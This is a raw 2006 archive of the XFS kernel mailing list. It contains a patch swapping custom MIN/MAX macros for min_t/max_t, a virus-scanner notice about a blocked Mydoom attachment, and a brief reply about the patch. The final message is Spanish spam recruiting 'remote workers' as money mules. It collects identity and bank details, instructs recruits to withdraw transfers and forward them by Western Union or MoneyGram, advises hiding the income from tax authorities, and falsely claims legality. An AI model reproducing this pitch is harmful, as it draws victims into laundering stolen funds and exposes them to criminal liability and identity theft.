=3D XFS_EXTLEN_MIN(ltlena, args->maxlen); > + args->len =3D min_t(xfs_extlen_t, ltlena, args->maxlen); > xfs_alloc_fix_len(args); > ASSERT(args->len >=3D args->minlen); > if (args->len < blen) > @@ -1007,7 +1007,7 @@ xfs_alloc_ag_vextent_near( > /* > * Fix up the length. > */ > - args->len =3D XFS_EXTLEN_MIN(ltlena, args->maxlen); > + args->len =3D min_t(xfs_extlen_t, ltlena, args->maxlen); > xfs_alloc_fix_len(args); > rlen =3D args->len; > ltdiff =3D xfs_alloc_compute_diff(args->agbno, rlen, > @@ -1045,8 +1045,7 @@ xfs_alloc_ag_vextent_near( > */ > if (gtlena >=3D args->minlen) { > args->len =3D > - XFS_EXTLEN_MIN(gtlena, > - args->maxlen); > + min_t(xfs_extlen_t, gtlena, args->maxlen); > xfs_alloc_fix_len(args); > rlen =3D args->len; > gtdiff =3D xfs_alloc_compute_diff( > @@ -1104,7 +1103,7 @@ xfs_alloc_ag_vextent_near( > /* > * Fix up the length. > */ > - args->len =3D XFS_EXTLEN_MIN(gtlena, args->maxlen); > + args->len =3D min_t(xfs_extlen_t, gtlena, args->maxlen); > xfs_alloc_fix_len(args); > rlen =3D args->len; > gtdiff =3D xfs_alloc_compute_diff(args->agbno, rlen, > @@ -1141,8 +1140,7 @@ xfs_alloc_ag_vextent_near( > * compare the two and pick the best. > */ > if (ltlena >=3D args->minlen) { > - args->len =3D XFS_EXTLEN_MIN( > - ltlena, args->maxlen); > + args->len =3D min_t(xfs_extlen_t, ltlena, args->maxlen); > xfs_alloc_fix_len(args); > rlen =3D args->len; > ltdiff =3D xfs_alloc_compute_diff( > @@ -1221,7 +1219,7 @@ xfs_alloc_ag_vextent_near( > * Fix up the length and compute the useful address. > */ > ltend =3D ltbno + ltlen; > - args->len =3D XFS_EXTLEN_MIN(ltlena, args->maxlen); > + args->len =3D min_t(xfs_extlen_t, ltlena, args->maxlen); > xfs_alloc_fix_len(args); > if (!xfs_alloc_fix_minleft(args)) { > TRACE_ALLOC("nominleft", args); > @@ -1320,7 +1318,7 @@ xfs_alloc_ag_vextent_size( > */ > xfs_alloc_compute_aligned(fbno, flen, args->alignment, args->minlen, > &rbno, &rlen); > - rlen =3D XFS_EXTLEN_MIN(args->maxlen, rlen); > + rlen =3D min_t(xfs_extlen_t, args->maxlen, rlen); > XFS_WANT_CORRUPTED_GOTO(rlen =3D=3D 0 || > (rlen <=3D flen && rbno + rlen <=3D fbno + flen), error0); > if (rlen < args->maxlen) { > @@ -1346,7 +1344,7 @@ xfs_alloc_ag_vextent_size( > break; > xfs_alloc_compute_aligned(fbno, flen, args->alignment, > args->minlen, &rbno, &rlen); > - rlen =3D XFS_EXTLEN_MIN(args->maxlen, rlen); > + rlen =3D min_t(xfs_extlen_t, args->maxlen, rlen); > XFS_WANT_CORRUPTED_GOTO(rlen =3D=3D 0 || > (rlen <=3D flen && rbno + rlen <=3D fbno + flen), > error0); > diff -uprN -X linux-2.6.19-rc2-orig/Documentation/dontdiff linux-2.6.19-r= c2-orig/fs/xfs/xfs_bmap.c linux-2.6.19-rc2/fs/xfs/xfs_bmap.c > --- linux-2.6.19-rc2-orig/fs/xfs/xfs_bmap.c 2006-10-18 09:29:18.000000000= +0530 > +++ linux-2.6.19-rc2/fs/xfs/xfs_bmap.c 2006-10-18 16:17:59.000000000 +0530 > @@ -1005,7 +1005,7 @@ xfs_bmap_add_extent_delay_real( > LEFT.br_state))) > goto done; > } > - temp =3D XFS_FILBLKS_MIN(xfs_bmap_worst_indlen(ip, temp), > + temp =3D min_t(xfs_filblks_t, xfs_bmap_worst_indlen(ip, temp), > STARTBLOCKVAL(PREV.br_startblock)); > xfs_bmbt_set_startblock(ep, NULLSTARTBLOCK((int)temp)); > xfs_bmap_trace_post_update(fname, "LF|LC", ip, idx, > @@ -1054,7 +1054,7 @@ xfs_bmap_add_extent_delay_real( > if (error) > goto done; > } > - temp =3D XFS_FILBLKS_MIN(xfs_bmap_worst_indlen(ip, temp), > + temp =3D min_t(xfs_filblks_t, xfs_bmap_worst_indlen(ip, temp), > STARTBLOCKVAL(PREV.br_startblock) - > (cur ? cur->bc_private.b.allocated : 0)); > ep =3D xfs_iext_get_ext(ifp, idx + 1); > @@ -1101,7 +1101,7 @@ xfs_bmap_add_extent_delay_real( > RIGHT.br_state))) > goto done; > } > - temp =3D XFS_FILBLKS_MIN(xfs_bmap_worst_indlen(ip, temp), > + temp =3D min_t(xfs_filblks_t, xfs_bmap_worst_indlen(ip, temp), > STARTBLOCKVAL(PREV.br_startblock)); > xfs_bmbt_set_startblock(ep, NULLSTARTBLOCK((int)temp)); > xfs_bmap_trace_post_update(fname, "RF|RC", ip, idx, > @@ -1149,7 +1149,7 @@ xfs_bmap_add_extent_delay_real( > if (error) > goto done; > } > - temp =3D XFS_FILBLKS_MIN(xfs_bmap_worst_indlen(ip, temp), > + temp =3D min_t(xfs_filblks_t, xfs_bmap_worst_indlen(ip, temp), > STARTBLOCKVAL(PREV.br_startblock) - > (cur ? cur->bc_private.b.allocated : 0)); > ep =3D xfs_iext_get_ext(ifp, idx); > @@ -3186,8 +3186,7 @@ xfs_bmap_del_extent( > xfs_bmbt_set_blockcount(ep, temp); > ifp->if_lastex =3D idx; > if (delay) { > - temp =3D XFS_FILBLKS_MIN(xfs_bmap_worst_indlen(ip, temp), > - da_old); > + temp =3D min_t(xfs_filblks_t, xfs_bmap_worst_indlen(ip, temp), da_old= ); > xfs_bmbt_set_startblock(ep, NULLSTARTBLOCK((int)temp)); > xfs_bmap_trace_post_update(fname, "2", ip, idx, > whichfork); > @@ -3215,8 +3214,7 @@ xfs_bmap_del_extent( > xfs_bmbt_set_blockcount(ep, temp); > ifp->if_lastex =3D idx; > if (delay) { > - temp =3D XFS_FILBLKS_MIN(xfs_bmap_worst_indlen(ip, temp), > - da_old); > + temp =3D min_t(xfs_filblks_t, xfs_bmap_worst_indlen(ip, temp), da_old= ); > xfs_bmbt_set_startblock(ep, NULLSTARTBLOCK((int)temp)); > xfs_bmap_trace_post_update(fname, "1", ip, idx, > whichfork); > @@ -4346,7 +4344,7 @@ xfs_bmap_first_unused( > return 0; > } > lastaddr =3D off + xfs_bmbt_get_blockcount(ep); > - max =3D XFS_FILEOFF_MAX(lastaddr, lowest); > + max =3D max_t(xfs_fileoff_t, lastaddr, lowest); > } > *first_unused =3D max; > return 0; > @@ -4861,17 +4859,15 @@ xfs_bmapi( > } > } else if (wasdelay) { > alen =3D (xfs_extlen_t) > - XFS_FILBLKS_MIN(len, > - (got.br_startoff + > - got.br_blockcount) - bno); > + min_t(xfs_filblks_t, len, > + (got.br_startoff + got.br_blockcount) - bno); > aoff =3D bno; > } else { > alen =3D (xfs_extlen_t) > - XFS_FILBLKS_MIN(len, MAXEXTLEN); > + min_t(xfs_filblks_t, len, MAXEXTLEN); > if (!eof) > alen =3D (xfs_extlen_t) > - XFS_FILBLKS_MIN(alen, > - got.br_startoff - bno); > + min_t(xfs_filblks_t, alen, got.br_startoff - bno); > aoff =3D bno; > } > minlen =3D (flags & XFS_BMAPI_CONTIG) ? alen : 1; > @@ -5098,7 +5094,7 @@ xfs_bmapi( > mval->br_startoff =3D bno; > mval->br_startblock =3D HOLESTARTBLOCK; > mval->br_blockcount =3D > - XFS_FILBLKS_MIN(len, got.br_startoff - bno); > + min_t(xfs_filblks_t, len, got.br_startoff - bno); > mval->br_state =3D XFS_EXT_NORM; > bno +=3D mval->br_blockcount; > len -=3D mval->br_blockcount; > @@ -5133,7 +5129,7 @@ xfs_bmapi( > * didn't overlap what was asked for. > */ > mval->br_blockcount =3D > - XFS_FILBLKS_MIN(end - bno, got.br_blockcount - > + min_t(xfs_filblks_t, end - bno, got.br_blockcount - > (bno - got.br_startoff)); > mval->br_state =3D got.br_state; > ASSERT(mval->br_blockcount <=3D len); > @@ -5473,7 +5469,7 @@ xfs_bunmapi( > * Is the last block of this extent before the range > * we're supposed to delete? If so, we're done. > */ > - bno =3D XFS_FILEOFF_MIN(bno, > + bno =3D min_t(xfs_fileoff_t, bno, > got.br_startoff + got.br_blockcount - 1); > if (bno < start) > break; > diff -uprN -X linux-2.6.19-rc2-orig/Documentation/dontdiff linux-2.6.19-r= c2-orig/fs/xfs/xfs_btree.h linux-2.6.19-rc2/fs/xfs/xfs_btree.h > --- linux-2.6.19-rc2-orig/fs/xfs/xfs_btree.h 2006-10-18 09:29:18.00000000= 0 +0530 > +++ linux-2.6.19-rc2/fs/xfs/xfs_btree.h 2006-10-18 15:56:01.000000000 +05= 30 > @@ -440,35 +440,6 @@ xfs_btree_setbuf( >=20=20 > #endif /* __KERNEL__ */ >=20=20 > - > -/* > - * Min and max functions for extlen, agblock, fileoff, and filblks types. > - */ > -#define XFS_EXTLEN_MIN(a,b) \ > - ((xfs_extlen_t)(a) < (xfs_extlen_t)(b) ? \ > - (xfs_extlen_t)(a) : (xfs_extlen_t)(b)) > -#define XFS_EXTLEN_MAX(a,b) \ > - ((xfs_extlen_t)(a) > (xfs_extlen_t)(b) ? \ > - (xfs_extlen_t)(a) : (xfs_extlen_t)(b)) > -#define XFS_AGBLOCK_MIN(a,b) \ > - ((xfs_agblock_t)(a) < (xfs_agblock_t)(b) ? \ > - (xfs_agblock_t)(a) : (xfs_agblock_t)(b)) > -#define XFS_AGBLOCK_MAX(a,b) \ > - ((xfs_agblock_t)(a) > (xfs_agblock_t)(b) ? \ > - (xfs_agblock_t)(a) : (xfs_agblock_t)(b)) > -#define XFS_FILEOFF_MIN(a,b) \ > - ((xfs_fileoff_t)(a) < (xfs_fileoff_t)(b) ? \ > - (xfs_fileoff_t)(a) : (xfs_fileoff_t)(b)) > -#define XFS_FILEOFF_MAX(a,b) \ > - ((xfs_fileoff_t)(a) > (xfs_fileoff_t)(b) ? \ > - (xfs_fileoff_t)(a) : (xfs_fileoff_t)(b)) > -#define XFS_FILBLKS_MIN(a,b) \ > - ((xfs_filblks_t)(a) < (xfs_filblks_t)(b) ? \ > - (xfs_filblks_t)(a) : (xfs_filblks_t)(b)) > -#define XFS_FILBLKS_MAX(a,b) \ > - ((xfs_filblks_t)(a) > (xfs_filblks_t)(b) ? \ > - (xfs_filblks_t)(a) : (xfs_filblks_t)(b)) > - > #define XFS_FSB_SANITY_CHECK(mp,fsb) \ > (XFS_FSB_TO_AGNO(mp, fsb) < mp->m_sb.sb_agcount && \ > XFS_FSB_TO_AGBNO(mp, fsb) < mp->m_sb.sb_agblocks) > diff -uprN -X linux-2.6.19-rc2-orig/Documentation/dontdiff linux-2.6.19-r= c2-orig/fs/xfs/xfs_inode.c linux-2.6.19-rc2/fs/xfs/xfs_inode.c > --- linux-2.6.19-rc2-orig/fs/xfs/xfs_inode.c 2006-10-18 09:29:18.00000000= 0 +0530 > +++ linux-2.6.19-rc2/fs/xfs/xfs_inode.c 2006-10-18 16:18:41.000000000 +05= 30 > @@ -1342,7 +1342,7 @@ xfs_file_last_byte( > last_block =3D 0; > } > size_last_block =3D XFS_B_TO_FSB(mp, (xfs_ufsize_t)ip->i_d.di_size); > - last_block =3D XFS_FILEOFF_MAX(last_block, size_last_block); > + last_block =3D max_t(xfs_fileoff_t, last_block, size_last_block); >=20=20 > last_byte =3D XFS_FSB_TO_B(mp, last_block); > if (last_byte < 0) { > diff -uprN -X linux-2.6.19-rc2-orig/Documentation/dontdiff linux-2.6.19-r= c2-orig/fs/xfs/xfs_iomap.c linux-2.6.19-rc2/fs/xfs/xfs_iomap.c > --- linux-2.6.19-rc2-orig/fs/xfs/xfs_iomap.c 2006-10-18 09:29:18.00000000= 0 +0530 > +++ linux-2.6.19-rc2/fs/xfs/xfs_iomap.c 2006-10-18 15:54:13.000000000 +05= 30 > @@ -822,7 +822,7 @@ xfs_iomap_write_allocate( > end_fsb =3D XFS_B_TO_FSB(mp, ip->i_d.di_size); > xfs_bmap_last_offset(NULL, ip, &last_block, > XFS_DATA_FORK); > - last_block =3D XFS_FILEOFF_MAX(last_block, end_fsb); > + last_block =3D max_t(xfs_fileoff_t,last_block, end_fsb); > if ((map_start_fsb + count_fsb) > last_block) { > count_fsb =3D last_block - map_start_fsb; > if (count_fsb =3D=3D 0) { > diff -uprN -X linux-2.6.19-rc2-orig/Documentation/dontdiff linux-2.6.19-r= c2-orig/fs/xfs/xfs_rtalloc.c linux-2.6.19-rc2/fs/xfs/xfs_rtalloc.c > --- linux-2.6.19-rc2-orig/fs/xfs/xfs_rtalloc.c 2006-10-18 09:29:18.000000= 000 +0530 > +++ linux-2.6.19-rc2/fs/xfs/xfs_rtalloc.c 2006-10-18 16:06:37.000000000 += 0530 > @@ -699,8 +699,8 @@ xfs_rtallocate_extent_size( > * this summary level. > */ > error =3D xfs_rtallocate_extent_block(mp, tp, i, > - XFS_RTMAX(minlen, 1 << l), > - XFS_RTMIN(maxlen, (1 << (l + 1)) - 1), > + max_t(xfs_extlen_t, minlen, 1 << l), > + min_t(xfs_extlen_t, maxlen, (1 << (l + 1)) - 1), > len, &n, rbpp, rsb, prod, &r); > if (error) { > return error; > @@ -1020,7 +1020,7 @@ xfs_rtcheck_range( > /* > * Compute first bit not examined. > */ > - lastbit =3D XFS_RTMIN(bit + len, XFS_NBWORD); > + lastbit =3D min_t(xfs_extlen_t, bit + len, XFS_NBWORD); > /* > * Mask of relevant bits. > */ > @@ -1238,7 +1238,7 @@ xfs_rtfind_back( > * Calculate first (leftmost) bit number to look at, > * and mask for all the relevant bits in this word. > */ > - firstbit =3D XFS_RTMAX((xfs_srtblock_t)(bit - len + 1), 0); > + firstbit =3D max_t(xfs_srtblock_t, bit - len + 1, 0); > mask =3D (((xfs_rtword_t)1 << (bit - firstbit + 1)) - 1) << > firstbit; > /* > @@ -1413,7 +1413,7 @@ xfs_rtfind_forw( > * Calculate last (rightmost) bit number to look at, > * and mask for all the relevant bits in this word. > */ > - lastbit =3D XFS_RTMIN(bit + len, XFS_NBWORD); > + lastbit =3D min_t(xfs_rtblock_t, bit + len, XFS_NBWORD); > mask =3D (((xfs_rtword_t)1 << (lastbit - bit)) - 1) << bit; > /* > * Calculate the difference between the value there > @@ -1724,7 +1724,7 @@ xfs_rtmodify_range( > /* > * Compute first bit not changed and mask of relevant bits. > */ > - lastbit =3D XFS_RTMIN(bit + len, XFS_NBWORD); > + lastbit =3D min_t(xfs_extlen_t, bit + len, XFS_NBWORD); > mask =3D (((xfs_rtword_t)1 << (lastbit - bit)) - 1) << bit; > /* > * Set/clear the active bits. > @@ -1998,7 +1998,7 @@ xfs_growfs_rt( > nsbp->sb_rextsize =3D in->extsize; > nsbp->sb_rbmblocks =3D bmbno + 1; > nsbp->sb_rblocks =3D > - XFS_RTMIN(nrblocks, > + min_t(xfs_drfsbno_t, nrblocks, > nsbp->sb_rbmblocks * NBBY * > nsbp->sb_blocksize * nsbp->sb_rextsize); > nsbp->sb_rextents =3D nsbp->sb_rblocks; > @@ -2424,7 +2424,7 @@ xfs_rtprint_summary( > if (c) { > if (!p) { > cmn_err(CE_DEBUG, "%Ld-%Ld:", 1LL << l, > - XFS_RTMIN((1LL << l) + > + min((1LL << l) + > ((1LL << l) - 1LL), > mp->m_sb.sb_rextents)); > p =3D 1; > diff -uprN -X linux-2.6.19-rc2-orig/Documentation/dontdiff linux-2.6.19-r= c2-orig/fs/xfs/xfs_rtalloc.h linux-2.6.19-rc2/fs/xfs/xfs_rtalloc.h > --- linux-2.6.19-rc2-orig/fs/xfs/xfs_rtalloc.h 2006-08-24 02:46:33.000000= 000 +0530 > +++ linux-2.6.19-rc2/fs/xfs/xfs_rtalloc.h 2006-10-18 15:46:53.000000000 += 0530 > @@ -57,9 +57,6 @@ struct xfs_trans; > #define XFS_BITTOWORD(mp,bi) \ > ((int)(((bi) >> XFS_NBWORDLOG) & XFS_BLOCKWMASK(mp))) >=20=20 > -#define XFS_RTMIN(a,b) ((a) < (b) ? (a) : (b)) > -#define XFS_RTMAX(a,b) ((a) > (b) ? (a) : (b)) > - > #define XFS_RTLOBIT(w) xfs_lowbit32(w) > #define XFS_RTHIBIT(w) xfs_highbit32(w) >=20=20 >=20 --=20 Russell Cattelan --=-KJIyv+dAKFYNNReoTdXg Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (GNU/Linux) iD8DBQBFNmmdNRmM+OaGhBgRAvdSAJ9fMLgGBneq5ZJR3+dV9rYw1oNTygCdHFV2 YN8wd5iesE0xMwGbzczHTkc= =4GrX -----END PGP SIGNATURE----- --=-KJIyv+dAKFYNNReoTdXg-- From owner-xfs@oss.sgi.com Wed Oct 18 12:30:36 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 12:30:41 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9IJUYaG029967 for ; Wed, 18 Oct 2006 12:30:35 -0700 X-ASG-Debug-ID: 1161199788-3611-54-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from REFGFI01.BAH.BAPCO.INT (unknown [82.194.46.27]) by cuda.sgi.com (Spam Firewall) with ESMTP id 483AD4B15F3 for ; Wed, 18 Oct 2006 12:29:48 -0700 (PDT) Received: from refesg01.bah.bapco.int ([10.1.1.224]) by REFGFI01.BAH.BAPCO.INT with Microsoft SMTPSVC(6.0.3790.1830); Wed, 18 Oct 2006 22:32:40 +0300 From: esafe@bapco.net To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Alert from eSafe: mail.scr Infected with Win32.Mydoom.m, Blocked Subject: Alert from eSafe: mail.scr Infected with Win32.Mydoom.m, Blocked Date: Sun, 18 Oct 2006 22:32:40 +0300 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-ID: X-OriginalArrivalTime: 18 Oct 2006 19:32:40.0437 (UTC) FILETIME=[2CCB6A50:01C6F2EC] X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23557 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name X-archive-position: 9346 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: esafe@bapco.net Precedence: bulk X-list: xfs Status: O ====================================================== Bapco detected hostile or unwanted content in this message. If you believe this is in error, please resend the whole message to: bapcoitd@gmail.com Please make sure that you specify the recipient email address(es) in your message. Your email will be manually inspected and if found to be safe and in accordance with Bapco's email policy, itwill be forwarded to the intended recipient. ====================================================== Time: 18 Oct 2006 22:32:40 Scan result: Mail modified to remove malicious content Protocol: SMTP in File Name\Mail Subject: Returned mail: see transcript for details Source: 81.211.93.85 Destination: Mail Sender: linux-xfs@oss.sgi.com Mail Recipients: husain_naser@bapco.net Details: mail.scr Infected with Win32.Mydoom.m, Blocked From owner-xfs@oss.sgi.com Wed Oct 18 14:07:43 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 14:07:51 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9IL7faG011834 for ; Wed, 18 Oct 2006 14:07:43 -0700 X-ASG-Debug-ID: 1161202055-13359-430-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.190]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7EA5AD198E29 for ; Wed, 18 Oct 2006 13:07:35 -0700 (PDT) Received: by nf-out-0910.google.com with SMTP id n29so746086nfc for ; Wed, 18 Oct 2006 13:07:34 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth; b=UilPx1JuW88vp6lRIbsCEVoon1m41GxoWH7iinNj37Jx3Z8wQGzp5Xv6o9TF/m3dTnmyYhFiurEqZ5TbjBFXDHHLfxBHwXmZlSrAApAA8rs1icU6pX2Q5qvvLJUzmJLkrYxs+ul1+uVX4PcsKcuC/7I61MHlVeGNstAnGxio4vo= Received: by 10.48.210.16 with SMTP id i16mr4414770nfg; Wed, 18 Oct 2006 13:07:33 -0700 (PDT) Received: by 10.49.20.19 with HTTP; Wed, 18 Oct 2006 13:07:33 -0700 (PDT) Message-ID: <84144f020610181307r7566aa2bp3d7f31388574d457@mail.gmail.com> Date: Wed, 18 Oct 2006 23:07:33 +0300 From: "Pekka Enberg" To: "Russell Cattelan" X-ASG-Orig-Subj: Re: Re: [xfs-masters] Re: [PATCH] fs/xfs: Handcrafted MIN/MAX macro removal Subject: Re: Re: [xfs-masters] Re: [PATCH] fs/xfs: Handcrafted MIN/MAX macro removal Cc: "Amol Lad" , "linux kernel" , xfs@oss.sgi.com In-Reply-To: <1161193885.5723.168.camel@xenon.msp.redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <1161169068.20400.149.camel@amol.verismonetworks.com> <1161193885.5723.168.camel@xenon.msp.redhat.com> X-Google-Sender-Auth: c8bcb055ea22d5ca X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23558 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9347 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: penberg@cs.helsinki.fi Precedence: bulk X-list: xfs Status: O On 10/18/06, Russell Cattelan wrote: > This change doesn't seem to do anything? It kills useless wrappers from kernel code making it easier to read and maintain for _Linux_ developers. From owner-xfs@oss.sgi.com Wed Oct 18 16:08:59 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 18 Oct 2006 16:09:10 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9IN8waG030469; Wed, 18 Oct 2006 16:08:59 -0700 X-ASG-Debug-ID: 1161209331-8084-331-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from gmail.com (unknown [218.237.80.72]) by cuda.sgi.com (Spam Firewall) with SMTP id EA7B04B3E68; Wed, 18 Oct 2006 15:08:53 -0700 (PDT) Message-ID: Date: Wed, 18 Oct 2006 21:06:05 -0200 Reply-To: "Alice M." From: "Alice Y." User-Agent: Mozilla 4.77 [en] (Windows NT 5.0; U) X-Accept-Language: en-us MIME-Version: 1.0 To: , , , X-ASG-Orig-Subj: Teletrabajo con salario alto Subject: Teletrabajo con salario alto Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.48 X-Barracuda-Spam-Status: No, SCORE=0.48 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MAILTO_TO_REMOVE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23563 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.48 MAILTO_TO_REMOVE URI: Includes a 'remove' email address X-archive-position: 9348 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: zmarygonzalez@gmail.com Precedence: bulk X-list: xfs Status: O ¡Buenos días! Es un mensaje para los que tengan ganas de ganar mucho dinero de modo legal. No se requiere nada de Usted, solo debe ser honesto y responsable y tener ordenador propio con Internet y Email accesibles. Le quitará no más que unas horas a la semana y su ingreso será no menos que unos cientos de dólares a la semana. La ocupación principal de nuestra compañía es servicios financieros. GA Ltd. está funcionando desde 2004 y es socio de US Traders Services, Inc. Lo que nos ha ayudado a abrir nuevas oficinas en varios paises en Europa (Gran Bretaña, España etc.) y Asia. Empezamos la registración offshore y estamos abriendo cuentas en los EEUU, Gran Bretaña, España, y la esfera de nuestros servicios está creciendo rápidamente. Durante años estamos ayudando a nuestros clientes a organizar su negocio y esperamos que después de estudiar la información en nuestro sitio web Usted se hará uno de ellos. Actualmente aceptamos solamente las aplicaciones de los residentes de Espana, no trabajamos con la gente de America Latina y otros. Por favor, envie el formulario rellenado a nuestro email: apply@gassisted-inc.com 1. Su nombre y apellidos (completos): 2. El país donde vive: 3. Su dirección completa: 4. Sus números de teléfonos (móvil, de casa y trabajo): 7. Su email(s) de contacto: 8. ¿Está Usted dispuesto a firmar un convenio con nosotros? 9. ¿Está Usted dispuesto a usar su cuenta bancaria (o tarjeta) para el recibo y reenvio de transferencias? (debe ser “sí”) Si ha recibido esta información por equivocación y no quiere recebir noticias de nosotros en futuro, por favor, envie un mensaje a esta dirección remove@gassisted-inc.com Por favor, informa el abuso a abuse@gassisted-inc.com EN caso que su pregunta no está aclarada en la sección FAQ (abajo), por favor, contacte a nuestro departamento de soporte: apply@gassisted-inc.com FAQ: P1: ¿Para qué me necesitan a mí? R: Nos alegramos de informalrle de que nuestro método de hacer las transacciones utilizando sistemas de transacción rápida de dinero, tales como Western Union o Money Gram, nos ayuda a evitar toda la imposición de impuestos a nuestros gestores de fondos. Es decir, todos los impuestos a sus autoridades locales ya han sido pagados antes de que los fondos están accesibles en su cuenta bancaria. Además Usted no necesita mencionar estos ingresos en su declaración. Sin embargo, si prefiere pagar los impuestos personalmente, lo puede hacer (pida a nuestro soporte la información adicional). Pero por favor, note que los pagos marcados como “comerciales” son menores y quitan más tiempo y esfuerzos para procesarlos. Po eso siempre recomendamos declarar estas transferencias como personales, como a su amigo o miembro de familia. P2: ¿Por qué se recomienda declarar los pagos como “personales”? R: Si prefiere pagar los impuestos personalmente, lo puede hacer (pida a nuestro soporte la información adicional). Pero por favor, note que los pagos marcados como “comerciales” son menores y quitan más tiempo y esfuerzos para procesarlos. Por eso siempre recomendamos declarar estas transferencias como personales, como a su amigo o miembro de familia. P3: ¿Para qué me necesitan? ¿Por qué no cumplen las transferencias Ustedes mismos para reservarse la comisión? Hablando en general del trabajo, hemos establecido este esquema de pagos porque es más rápido que las transferencias bancarias directas. Nuestro cliente enviará un pago a su cuenta bancaria. Usted tendrá que visitar su banco y sacar el efectivo. Luego, durante 12 horas tendrá que ir a una oficina de Western Union o a la de Money Gram y darles el dinero en efectivo para que hagan una transferencia de dinero rápida. Le daremos la información sobre el recipiente para cada transacción. ¿No le parece que sacar el dinero de su propia cuenta bancaria o usar las transacciones de Western Union son cosas ilegales? Este esquema de transacciones nos ayuda a acelerar los pagos, así que Usted y nosotros ganaremos dinero más pronto también. Si tratáramos hacerlo nosotros mismos, imagínese qué caro resultaría: centenas de oficinas (esritorios, sillas, ordenadores, teléfonos, máquinas de fax y otros). Nuestro esquema nos ayuda a minimizar los gastos y nos permite pagar altas comisiones a nuestros gestores. P4: ¿Por qué no puedo llamarles por teléfono? R: Minimizamos todos los gastos posibles para tener posibilidad de pagar más a nuestros empleados. El progreso ofrece sus frutos a la humanidad, por eso la gente empezó a usar el teléfono en vez de correo columbino. Y ahora en lugar del teléfono ha llegado el email. Por eso el principal canal de comunicación entre Usted y nosotros es el email. En caso de alguna información urgente nuestros secretarios le llamarán por teléfono. Y después de que pase el primer mes, cuando haya comprobado su competencia, recibirá el número de teléfono de soporte de veinticuatro horas. P5: ¿Cuántas transferencias al día/mes/semana voy a procesar? R: Depende de la cantidad de encargos. Puede ser desde una transferencia a la semana hasta varias transferencias al día. Le vamos a notificar de antemano sobre la cantidad de las transferencias y sobre las transferencias enviadas a Usted. P6: ¿Cuándo empezaré a recibir 5% en vez de 10%? ¿Cuáles son las perspecrivas del ascenso en general? R.: En principio todos los empleados reciben 5%. Después del primer mes la comisión aumenta hasta 6%. Y así, cada mes aumentamos la comisión hasta que se haga 10%. Si durante el primer mes se distingue, vamos a aumentar su comisión hasta 8% desde el segundo mes y hasta 10% desde el tercer. P7: ¿Qué más puedo hacer para su compañía? R: Trabajo exacto es bastante. P8: ¿Puedo recomendarles a mis amigos? R: Sí, por supuesto. P9: ¿En qué divisa hay que recibir el dinero? ¿En qué divisa hay que enviarlo? ¿Es necesario cambiar la divisa? R: Hay que enviar el dinero en la misma divisa en la que lo ha recibido. No se necesita cambiarla. P10: ¿Quién paga por enviar el dinero? ¿ No es demasiado caro usar el WesternUnion o MoneyGram? ¿Se deduce de mi comisión? R: Los gastos por las transferencias de dinero los paga nuestra compañía. Absolutamente nada se deduce de su comisión, Usted recibe exactamente la suma acordada. P11: Me han pedido enviar mi DNI por fax, pero no funciona. ¿Qué hacer? R: Nuestro fax está siempre controlado, así que parece que es el problema de su fax. Si todavía no puede enviarnos su DNI por fax, entonces énvielo adjunto a un email. Si no tiene escáner o no sabe hacerlo, visite el cyber-cafe más cercano, allí le ayudarán. P12: Quiero recibir el convenio de su compañía con el sello y la firma del Director General. R: Como no, nuestro soporte está dispuesto a enviárselo según su primera petición. P13: ¿Es esto legal? R: Sí, nuestro negocio es absolutamente legal. Hace dos años que estamos en el mercado. P14: No tengo educación superior financiera, ¿importa esto? R: No, no necesita educación superior . 